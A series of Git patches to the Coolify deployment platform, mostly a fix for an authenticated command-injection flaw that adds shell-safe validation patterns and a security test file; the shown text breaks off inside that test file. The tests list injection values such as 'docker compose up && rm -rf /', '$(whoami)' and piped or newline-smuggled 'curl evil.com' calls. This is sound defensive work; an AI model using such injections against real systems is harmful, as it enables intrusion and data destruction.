<5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 17 Mar 2026 09:52:29 +0100 Subject: [PATCH 222/305] refactor(environment-variable): remove buildtime/runtime options and improve comment field Remove buildtime and runtime availability checkboxes from service-type environment variables across all permission levels. Always show the comment field with a conditional placeholder for magic variables instead of hiding it. Add a lock button for service-type variables. --- .../environment-variable/show.blade.php | 42 +++++-------------- 1 file changed, 10 insertions(+), 32 deletions(-) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 86faeeeb4..4db35674a 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -34,12 +34,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @endif
- @if (!$isMagicVariable) - - @endif + @else
@@ -178,10 +165,9 @@ @endif
- @if (!$isMagicVariable) - - @endif + @endcan @can('update', $this->env) @@ -189,12 +175,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) @endif
+ @elseif ($type === 'service') +
+ Lock +
@endif @else @@ -265,12 +249,6 @@
@if (!$is_redis_credential) @if ($type === 'service') - - @if (!$isMagicVariable) Date: Tue, 17 Mar 2026 10:11:26 +0100 Subject: [PATCH 223/305] feat(environment-variable): add placeholder hint for magic variables Add a placeholder message to the comment field indicating when an environment variable is handled by Coolify and cannot be edited manually. --- .../livewire/project/shared/environment-variable/show.blade.php | 1 + 1 file changed, 1 insertion(+) diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 4db35674a..d8d448700 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -26,6 +26,7 @@
Update From 23f9156c7306b221101f1ebbe4d3c6b5e2522acd Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 18 Mar 2026 13:53:01 +0100 Subject: [PATCH 224/305] Squashed commit from 'qqrq-r9h4-x6wp-authenticated-rce' --- .../Api/ApplicationsController.php | 4 +- app/Jobs/ApplicationDeploymentJob.php | 47 ++- app/Livewire/Project/Application/General.php | 78 ++-- app/Support/ValidationPatterns.php | 62 ++- bootstrap/helpers/api.php | 21 +- .../project/application/general.blade.php | 8 +- .../Feature/CommandInjectionSecurityTest.php | 363 ++++++++++++++++++ 7 files changed, 507 insertions(+), 76 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6188651a1..6f34b43bf 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -2472,7 +2472,7 @@ public function update_by_uuid(Request $request) $this->authorize('update', $application); $server = $application->destination->server; - $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; + $allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled']; $validationRules = [ 'name' => 'string|max:255', @@ -2483,8 +2483,6 @@ public function update_by_uuid(Request $request) 'docker_compose_domains.*' => 'array:name,domain', 'docker_compose_domains.*.name' => 'string|required', 'docker_compose_domains.*.domain' => 'string|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', 'custom_nginx_configuration' => 'string|nullable', 'is_http_basic_auth_enabled' => 'boolean|nullable', 'http_basic_auth_username' => 'string', diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7adb938c5..ed77b7c67 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -223,7 +223,11 @@ public function __construct(public int $application_deployment_queue_id) $this->preserveRepository = $this->application->settings->is_preserve_repository_enabled; $this->basedir = $this->application->generateBaseDir($this->deployment_uuid); - $this->workdir = "{$this->basedir}".rtrim($this->application->base_directory, '/'); + $baseDir = $this->application->base_directory; + if ($baseDir && $baseDir !== '/') { + $this->validatePathField($baseDir, 'base_directory'); + } + $this->workdir = "{$this->basedir}".rtrim($baseDir, '/'); $this->configuration_dir = application_configuration_dir()."/{$this->application->uuid}"; $this->is_debug_enabled = $this->application->settings->is_debug_enabled; @@ -312,7 +316,11 @@ public function handle(): void } if ($this->application->dockerfile_target_build) { - $this->buildTarget = " --target {$this->application->dockerfile_target_build} "; + $target = $this->application->dockerfile_target_build; + if (! preg_match(\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN, $target)) { + throw new \RuntimeException('Invalid dockerfile_target_build: contains forbidden characters.'); + } + $this->buildTarget = " --target {$target} "; } // Check custom port @@ -571,6 +579,7 @@ private function deploy_docker_compose_buildpack() $this->docker_compose_location = $this->validatePathField($this->application->docker_compose_location, 'docker_compose_location'); } if (data_get($this->application, 'docker_compose_custom_start_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_start_command, 'docker_compose_custom_start_command'); $this->docker_compose_custom_start_command = $this->application->docker_compose_custom_start_command; if (! str($this->docker_compose_custom_start_command)->contains('--project-directory')) { $projectDir = $this->preserveRepository ? $this->application->workdir() : $this->workdir; @@ -578,6 +587,7 @@ private function deploy_docker_compose_buildpack() } } if (data_get($this->application, 'docker_compose_custom_build_command')) { + $this->validateShellSafeCommand($this->application->docker_compose_custom_build_command, 'docker_compose_custom_build_command'); $this->docker_compose_custom_build_command = $this->application->docker_compose_custom_build_command; if (! str($this->docker_compose_custom_build_command)->contains('--project-directory')) { $this->docker_compose_custom_build_command = str($this->docker_compose_custom_build_command)->replaceFirst('compose', 'compose --project-directory '.$this->workdir)->value(); @@ -3948,6 +3958,24 @@ private function validatePathField(string $value, string $fieldName): string return $value; } + private function validateShellSafeCommand(string $value, string $fieldName): string + { + if (! preg_match(\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN, $value)) { + throw new \RuntimeException("Invalid {$fieldName}: contains forbidden shell characters."); + } + + return $value; + } + + private function validateContainerName(string $value): string + { + if (! preg_match(\App\Support\ValidationPatterns::CONTAINER_NAME_PATTERN, $value)) { + throw new \RuntimeException('Invalid container name: contains forbidden characters.'); + } + + return $value; + } + private function run_pre_deployment_command() { if (empty($this->application->pre_deployment_command)) { @@ -3961,7 +3989,17 @@ private function run_pre_deployment_command() foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->pre_deployment_command_container.'-'.$this->application->uuid)) { + // Security: pre_deployment_command is intentionally treated as arbitrary shell input. + // Users (team members with deployment access) need full shell flexibility to run commands + // like "php artisan migrate", "npm run build", etc. inside their own application containers. + // The trust boundary is at the application/team ownership level — only authenticated team + // members can set these commands, and execution is scoped to the application's own container. + // The single-quote escaping here prevents breaking out of the sh -c wrapper, but does not + // restrict the command itself. Container names are validated separately via validateContainerName(). $cmd = "sh -c '".str_replace("'", "'\''", $this->application->pre_deployment_command)."'"; $exec = "docker exec {$containerName} {$cmd}"; $this->execute_remote_command( @@ -3988,7 +4026,12 @@ private function run_post_deployment_command() $containers = getCurrentApplicationContainerStatus($this->server, $this->application->id, $this->pull_request_id); foreach ($containers as $container) { $containerName = data_get($container, 'Names'); + if ($containerName) { + $this->validateContainerName($containerName); + } if ($containers->count() == 1 || str_starts_with($containerName, $this->application->post_deployment_command_container.'-'.$this->application->uuid)) { + // Security: post_deployment_command is intentionally treated as arbitrary shell input. + // See the equivalent comment in run_pre_deployment_command() for the full security rationale. $cmd = "sh -c '".str_replace("'", "'\''", $this->application->post_deployment_command)."'"; $exec = "docker exec {$containerName} {$cmd}"; try { diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index b3fe99806..ca1daef72 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -7,7 +7,6 @@ use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; -use Livewire\Attributes\Validate; use Livewire\Component; use Spatie\Url\Url; use Visus\Cuid2\Cuid2; @@ -22,136 +21,95 @@ class General extends Component public Collection $services; - #[Validate('required|regex:/^[a-zA-Z0-9\s\-_.\/:()]+$/')] public string $name; - #[Validate(['string', 'nullable'])] public ?string $description = null; - #[Validate(['nullable'])] public ?string $fqdn = null; - #[Validate(['required'])] public string $gitRepository; - #[Validate(['required'])] public string $gitBranch; - #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'])] public ?string $gitCommitSha = null; - #[Validate(['string', 'nullable'])] public ?string $installCommand = null; - #[Validate(['string', 'nullable'])] public ?string $buildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $startCommand = null; - #[Validate(['required'])] public string $buildPack; - #[Validate(['required'])] public string $staticImage; - #[Validate(['required'])] public string $baseDirectory; - #[Validate(['string', 'nullable'])] public ?string $publishDirectory = null; - #[Validate(['string', 'nullable'])] public ?string $portsExposes = null; - #[Validate(['string', 'nullable'])] public ?string $portsMappings = null; - #[Validate(['string', 'nullable'])] public ?string $customNetworkAliases = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfile = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerfileLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerfileTargetBuild = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageName = null; - #[Validate(['string', 'nullable'])] public ?string $dockerRegistryImageTag = null; - #[Validate(['string', 'nullable', 'max:255', 'regex:/^\/[a-zA-Z0-9._\-\/~@+]+$/'])] public ?string $dockerComposeLocation = null; - #[Validate(['string', 'nullable'])] public ?string $dockerCompose = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeRaw = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomStartCommand = null; - #[Validate(['string', 'nullable'])] public ?string $dockerComposeCustomBuildCommand = null; - #[Validate(['string', 'nullable'])] public ?string $customDockerRunOptions = null; - #[Validate(['string', 'nullable'])] + // Security: pre/post deployment commands are intentionally arbitrary shell — users need full + // flexibility (e.g. "php artisan migrate"). Access is gated by team authentication/authorization. + // Commands execute inside the application's own container, not on the host. public ?string $preDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $preDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommand = null; - #[Validate(['string', 'nullable'])] public ?string $postDeploymentCommandContainer = null; - #[Validate(['string', 'nullable'])] public ?string $customNginxConfiguration = null; - #[Validate(['boolean', 'required'])] public bool $isStatic = false; - #[Validate(['boolean', 'required'])] public bool $isSpa = false; - #[Validate(['boolean', 'required'])] public bool $isBuildServerEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isPreserveRepositoryEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelEscapeEnabled = true; - #[Validate(['boolean', 'required'])] public bool $isContainerLabelReadonlyEnabled = false; - #[Validate(['boolean', 'required'])] public bool $isHttpBasicAuthEnabled = false; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthUsername = null; - #[Validate(['string', 'nullable'])] public ?string $httpBasicAuthPassword = null; - #[Validate(['nullable'])] public ?string $watchPaths = null; - #[Validate(['string', 'required'])] public string $redirect; - #[Validate(['nullable'])] public $customLabels; public bool $labelsChanged = false; @@ -184,33 +142,33 @@ protected function rules(): array 'fqdn' => 'nullable', 'gitRepository' => 'required', 'gitBranch' => 'required', - 'gitCommitSha' => ['nullable', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], + 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'installCommand' => 'nullable', 'buildCommand' => 'nullable', 'startCommand' => 'nullable', 'buildPack' => 'required', 'staticImage' => 'required', - 'baseDirectory' => 'required', - 'publishDirectory' => 'nullable', + 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), + 'publishDirectory' => ValidationPatterns::directoryPathRules(), 'portsExposes' => 'required', 'portsMappings' => 'nullable', 'customNetworkAliases' => 'nullable', 'dockerfile' => 'nullable', 'dockerRegistryImageName' => 'nullable', 'dockerRegistryImageTag' => 'nullable', - 'dockerfileLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], - 'dockerComposeLocation' => ['nullable', 'regex:'.ValidationPatterns::FILE_PATH_PATTERN], + 'dockerfileLocation' => ValidationPatterns::filePathRules(), + 'dockerComposeLocation' => ValidationPatterns::filePathRules(), 'dockerCompose' => 'nullable', 'dockerComposeRaw' => 'nullable', - 'dockerfileTargetBuild' => 'nullable', - 'dockerComposeCustomStartCommand' => 'nullable', - 'dockerComposeCustomBuildCommand' => 'nullable', + 'dockerfileTargetBuild' => ValidationPatterns::dockerTargetRules(), + 'dockerComposeCustomStartCommand' => ValidationPatterns::shellSafeCommandRules(), + 'dockerComposeCustomBuildCommand' => ValidationPatterns::shellSafeCommandRules(), 'customLabels' => 'nullable', - 'customDockerRunOptions' => 'nullable', + 'customDockerRunOptions' => ValidationPatterns::shellSafeCommandRules(2000), 'preDeploymentCommand' => 'nullable', - 'preDeploymentCommandContainer' => 'nullable', + 'preDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'postDeploymentCommand' => 'nullable', - 'postDeploymentCommandContainer' => 'nullable', + 'postDeploymentCommandContainer' => ['nullable', ...ValidationPatterns::containerNameRules()], 'customNginxConfiguration' => 'nullable', 'isStatic' => 'boolean|required', 'isSpa' => 'boolean|required', @@ -233,6 +191,14 @@ protected function messages(): array [ ...ValidationPatterns::filePathMessages('dockerfileLocation', 'Dockerfile'), ...ValidationPatterns::filePathMessages('dockerComposeLocation', 'Docker Compose'), + 'baseDirectory.regex' => 'The base directory must be a valid path starting with / and containing only safe characters.', + 'publishDirectory.regex' => 'The publish directory must be a valid path starting with / and containing only safe characters.', + 'dockerfileTargetBuild.regex' => 'The Dockerfile target build must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, &, |, $, and backticks are not allowed.', + 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', + 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', 'gitRepository.required' => 'The Git Repository field is required.', 'gitBranch.required' => 'The Git Branch field is required.', diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 2ae1536da..fdf2b12a6 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -9,7 +9,7 @@ class ValidationPatterns { /** * Pattern for names excluding all dangerous characters - */ + */ public const NAME_PATTERN = '/^[\p{L}\p{M}\p{N}\s\-_.@\/&]+$/u'; /** @@ -23,6 +23,32 @@ class ValidationPatterns */ public const FILE_PATH_PATTERN = '/^\/[a-zA-Z0-9._\-\/~@+]+$/'; + /** + * Pattern for directory paths (base_directory, publish_directory, etc.) + * Like FILE_PATH_PATTERN but also allows bare "/" (root directory) + */ + public const DIRECTORY_PATH_PATTERN = '/^\/([a-zA-Z0-9._\-\/~@+]*)?$/'; + + /** + * Pattern for Docker build target names (multi-stage build stage names) + * Allows alphanumeric, dots, hyphens, and underscores + */ + public const DOCKER_TARGET_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + + /** + * Pattern for shell-safe command strings (docker compose commands, docker run options) + * Blocks dangerous shell metacharacters: ; & | ` $ ( ) > < newlines and carriage returns + * Also blocks backslashes, single quotes, and double quotes to prevent escape-sequence attacks + * Uses [ \t] instead of \s to explicitly exclude \n and \r (which act as command separators) + */ + public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~]+$/'; + + /** + * Pattern for Docker container names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + */ + public const CONTAINER_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Get validation rules for name fields */ @@ -70,7 +96,7 @@ public static function descriptionRules(bool $required = false, int $maxLength = public static function nameMessages(): array { return [ - 'name.regex' => "The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &", + 'name.regex' => 'The name may only contain letters (including Unicode), numbers, spaces, and these characters: - _ . / @ &', 'name.min' => 'The name must be at least :min characters.', 'name.max' => 'The name may not be greater than :max characters.', ]; @@ -105,6 +131,38 @@ public static function filePathMessages(string $field = 'dockerfileLocation', st ]; } + /** + * Get validation rules for directory path fields (base_directory, publish_directory) + */ + public static function directoryPathRules(int $maxLength = 255): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DIRECTORY_PATH_PATTERN]; + } + + /** + * Get validation rules for Docker build target fields + */ + public static function dockerTargetRules(int $maxLength = 128): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::DOCKER_TARGET_PATTERN]; + } + + /** + * Get validation rules for shell-safe command fields + */ + public static function shellSafeCommandRules(int $maxLength = 1000): array + { + return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN]; + } + + /** + * Get validation rules for container name fields + */ + public static function containerNameRules(int $maxLength = 255): array + { + return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN]; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 43c074cd1..ec42761f7 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -101,8 +101,8 @@ function sharedDataApplications() 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => 'string|nullable', - 'publish_directory' => 'string|nullable', + 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', 'health_check_type' => 'string|in:http,cmd', 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], @@ -125,21 +125,24 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => 'string|nullable', + 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). + // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => 'string', + 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => 'string', + 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], - 'docker_compose_location' => ['string', 'nullable', 'max:255', 'regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN], + 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => 'string|nullable', - 'docker_compose_custom_build_command' => 'string|nullable', + 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', ]; } diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index aada339cc..e27eda8b6 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -314,8 +314,8 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
@else
- @if ($buildPack === 'dockerfile' && !$application->dockerfile) - 'production; echo pwned'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'builder$(whoami)'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand injection in dockerfile_target_build', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => 'stage && env'], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid target names', function ($target) { + $rules = sharedDataApplications(); + + $validator = validator( + ['dockerfile_target_build' => $target], + ['dockerfile_target_build' => $rules['dockerfile_target_build']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']); + + test('runtime validates dockerfile_target_build', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + + // Test that validateShellSafeCommand is also available as a pattern + $pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN; + expect(preg_match($pattern, 'production'))->toBe(1); + expect(preg_match($pattern, 'build; env'))->toBe(0); + expect(preg_match($pattern, 'target`whoami`'))->toBe(0); + }); +}); + +describe('base_directory validation', function () { + test('rejects shell metacharacters in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/src; echo pwned'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in base_directory', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => '/dir$(whoami)'], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid base directories', function ($dir) { + $rules = sharedDataApplications(); + + $validator = validator( + ['base_directory' => $dir], + ['base_directory' => $rules['base_directory']] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['/', '/src', '/backend/app', '/packages/@scope/app']); + + test('runtime validates base_directory via validatePathField', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validatePathField'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory')) + ->toThrow(RuntimeException::class, 'contains forbidden characters'); + + expect($method->invoke($instance, '/src', 'base_directory')) + ->toBe('/src'); + }); +}); + +describe('docker_compose_custom_command validation', function () { + test('rejects semicolon injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up; echo pwned'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects pipe injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects ampersand chaining in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => 'docker compose build $(whoami)'], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid docker compose commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => $cmd], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'docker compose build', + 'docker compose up -d --build', + 'docker compose -f custom.yml build --no-cache', + ]); + + test('rejects backslash in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects single quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects double quotes in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects newline injection in docker_compose_custom_start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"], + ['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects carriage return injection in docker_compose_custom_build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"], + ['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('runtime validates docker compose commands', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $method = $job->getMethod('validateShellSafeCommand'); + $method->setAccessible(true); + + $instance = $job->newInstanceWithoutConstructor(); + + expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command')) + ->toThrow(RuntimeException::class, 'contains forbidden shell characters'); + + 